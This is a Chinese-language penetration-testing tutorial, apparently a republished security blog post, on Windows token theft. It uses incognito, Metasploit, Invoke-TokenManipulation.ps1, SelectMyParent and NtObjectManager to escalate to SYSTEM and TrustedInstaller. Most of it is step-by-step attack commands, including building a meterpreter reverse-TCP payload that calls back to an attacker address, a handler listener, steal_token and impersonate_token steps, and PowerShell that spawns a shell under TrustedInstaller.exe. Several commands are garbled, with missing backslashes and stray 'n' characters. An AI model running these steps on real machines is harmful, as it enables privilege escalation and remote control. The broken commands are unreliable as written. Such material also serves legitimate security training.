滲透技巧——Token竊取與利用
0x00 前言
在之前的文章《滲透技巧——程序的降權啟動》介紹了使用SelectMyParent降權的方法,本質上是通過token竊取實現的。這一次將要對token竊取和利用做進一步介紹,測試常用工具,分享利用技巧。
0x01 簡介
本文將要介紹以下內容;
·Token簡介
·Metasploit中的incognito
·Windows平台下的incognito
·Invoke-TokenManipulation.ps1用法
·利用token獲得system許可權
·利用token獲得TrustedInstaller許可權
0x02 Token簡介
Windows有兩種類型的Token:
·Delegation token(授權令牌):用於交互會話登錄(例如本地用戶直接登錄、遠程桌面登錄)
·Impersonation token(模擬令牌):用於非交互登錄(利用net use訪問共享文件夾)
註:
兩種token只在系統重啟後清除
具有Delegation token的用戶在註銷後,該Token將變成Impersonation token,依舊有效
實際測試
使用Testa登錄後註銷,再使用administrator登錄
查看token:
incognito.exe list_tokens -un
能夠獲取到已註銷用戶Testa的token,如下圖
利用該token執行calc.exe:
incognito.exe execute -c "TESTa" calc.exen
後台顯示進程calc.exe的用戶名為a,如下圖
0x03 Metasploit中的incognito
在Metasploit中,可使用incognito實現token竊取,常用命令如下:
載入incognito:load incognito
列舉token:list_tokens -u
查看當前token:getuid
提示至system許可權:getsystem
token竊取:impersonate_token "NT AUTHORITYSYSTEM"
從進程竊取:steal_token 1252
返回之前token:rev2self or drop_token
實際測試
Client:
msfpayload -p windows/meterpreter/reverse_tcp LHOST=192.168.81.142 LPORT=44444 X >test.exen
Server:
use exploit/multi/handlernset payload windows/meterpreter/reverse_tcpnset LPORT 44444nset LHOST 192.168.81.142nexploitn
執行getsystem獲得system許可權
pid 1252的許可權為當前用戶,執行steal_token 1252, 將許可權切換到WIN-R7MM90ERBMDa
如下圖
執行impersonate_token "NT AUTHORITYSYSTEM"將許可權切換至system
註:
需要加引號和雙斜杠,"NT AUTHORITYSYSTEM"
執行rev2self返回之前token,為WIN-R7MM90ERBMDa
如下圖
通過以上演示,成功通過token竊取實現許可權切換
0x04 Windows平台下的incognito
Metasploit中的incognito,是從windows平台下的incognito移植過來的,下面介紹一下windows平台下的incognito
下載地址:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
參考手冊:
http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf
常見用法如下:
列舉token:incognito.exe list_tokens -u
複製token:incognito.exe execute [options] <token> <command>
實際測試
列舉token:
incognito.exe list_tokens -un
如下圖
提權至system:
incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exen
如下圖
降權至當前用戶:
incognito.exe execute -c "WIN-R7MM90ERBMDa" cmd.exen
偽造用戶:
incognito.exe execute -c "WIN-R7MM90ERBMDb" cmd.exen
如下圖
0x05 Invoke-TokenManipulation.ps1用法
下載地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
原理和功能同incognito類似,能夠實際提權和降權
列舉token:Invoke-TokenManipulation -Enumerate
提權至system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"
複製進程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
複製線程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
還有更多用法可參考該腳本說明
實際測試略
0x06 利用token獲得TrustedInstaller許可權
在Windows系統中,即使獲得了管理員許可權和system許可權,也不能修改系統文件
因為Windows系統的最高許可權為TrustedInstaller
例如路徑C:Windowsservicing
使用system許可權無法在該路徑創建文件
如下圖
查看文件夾屬性,顯示system不具有寫入許可權,只有TrustedInstaller可以
如下圖
關於如何獲得TrustedInstaller許可權,可參考James Forshaw的這篇文章,很值得學習
https://tyranidslair.blogspot.nl/2017/08/the-art-of-becoming-trustedinstaller.html
這裡對其中的一個實例做測試,進而找到其他實現方法
啟動TrustedInstaller服務會啟動進程TrustedInstaller.exe,位置為C:WindowsservicingTrustedInstaller.exe,查看該程序許可權:
Get-Acl -Path C:WindowsservicingTrustedInstaller.exe |select Ownern
顯示為NT SERVICETrustedInstaller,如下圖
James Forshaw的實現思路為借用TrustedInstaller.exe的token創建子進程,這樣子進程就有了TrustedInstaller許可權,具體powershell代碼如下:
Set-NtTokenPrivilege SeDebugPrivilegen$p = Get-NtProcess -Name TrustedInstaller.exen$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $pn
powershell默認不支持Set-NtTokenPrivilege命令,該模塊需要下載安裝
下載地址:
https://www.powershellgallery.com/packages/NtObjectManager/1.1.1
安裝命令:
Save-Module -Name NtObjectManager -Path c:testnInstall-Module -Name NtObjectManagern
註:
Save-Module需要powershell v5.0支持,詳情見:
https://docs.microsoft.com/zh-cn/powershell/gallery/readme
因此測試系統選為Win10,默認powershell版本為5.0
導入該模塊需要系統允許執行powershell腳本,因此先執行如下代碼:
Set-ExecutionPolicy Unrestrictedn
導入模塊NtObjectManager:
Import-Module NtObjectManagern
執行命令測試:
sc.exe start TrustedInstallernSet-NtTokenPrivilege SeDebugPrivilegen$p = Get-NtProcess -Name TrustedInstaller.exen$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $pn
使用whoami查看當前cmd許可權:
whoami /groups /fo listn
發現當前cmd.exe在TrustedInstaller組裡,成功獲得TrustedInstaller許可權
如下圖
接著按照James Forshaw文章中更新的內容,學習了Vincent Yiu@vysecurity的方法,使用metasploit下的incognito也能夠獲得TrustedInstaller許可權
地址如下:
https://twitter.com/vysecurity/status/899303538630774787
思路如下:
·啟動服務TrustedInstaller
·使用incognito獲取TrustedInstaller.exe的token
·獲得TrustedInstaller許可權
使用以下命令:
·load incognito
·getsytem
·ps
·steal_token 3204
·getuid
按照這個思路,猜測使用SelectMyParent和Invoke-TokenManipulation.ps1也能獲得TrustedInstaller許可權
下面驗證我們的判斷
1、SelectMyParent
sc start TrustedInstallernSelectMyParent.exe cmd.exe 1700n
新的cmd.exe擁有TrustedInstaller許可權
2、Invoke-TokenManipulation.ps1
添加如下代碼即可:
sc.exe start TrustedInstallern$id = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}nInvoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $idn
註:
sc這個命令不能直接在powershell裡面運行,powershell會把它當作set-content的別名,可使用sc.exe在powershell裡面運行sc命令
驗證是否獲得TrustedInstaller許可權的方法
1、對特殊路徑寫文件
例如C:Windowsservicing,如下圖
2、使用powershell
Get-Acl -Path C:WindowsservicingTrustedInstaller.exe |select Ownern
回顯為NT SERVICETrustedInstaller
3、使用whoami
whoami /groups | findstr TrustedInstallern
查看是否有回顯
0x07 小結
本文介紹了token竊取的實現方法,使用多種工具來獲得system許可權和TrustedInstaller許可權。
本文為3gstugent原創稿件,授權嘶吼獨家發布,未經許可禁止轉載。如若轉載,請聯繫嘶吼編輯: http://www.4hou.com/penetration/8819.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※工具解析篇:高效利用JS載入.Net程序
※從明年開始 FBI可任意控制你的電腦
※如何獲取第一手的安全資訊?
※熊貓燒香技術含量高嗎?高在哪裡?
TAG:信息安全 |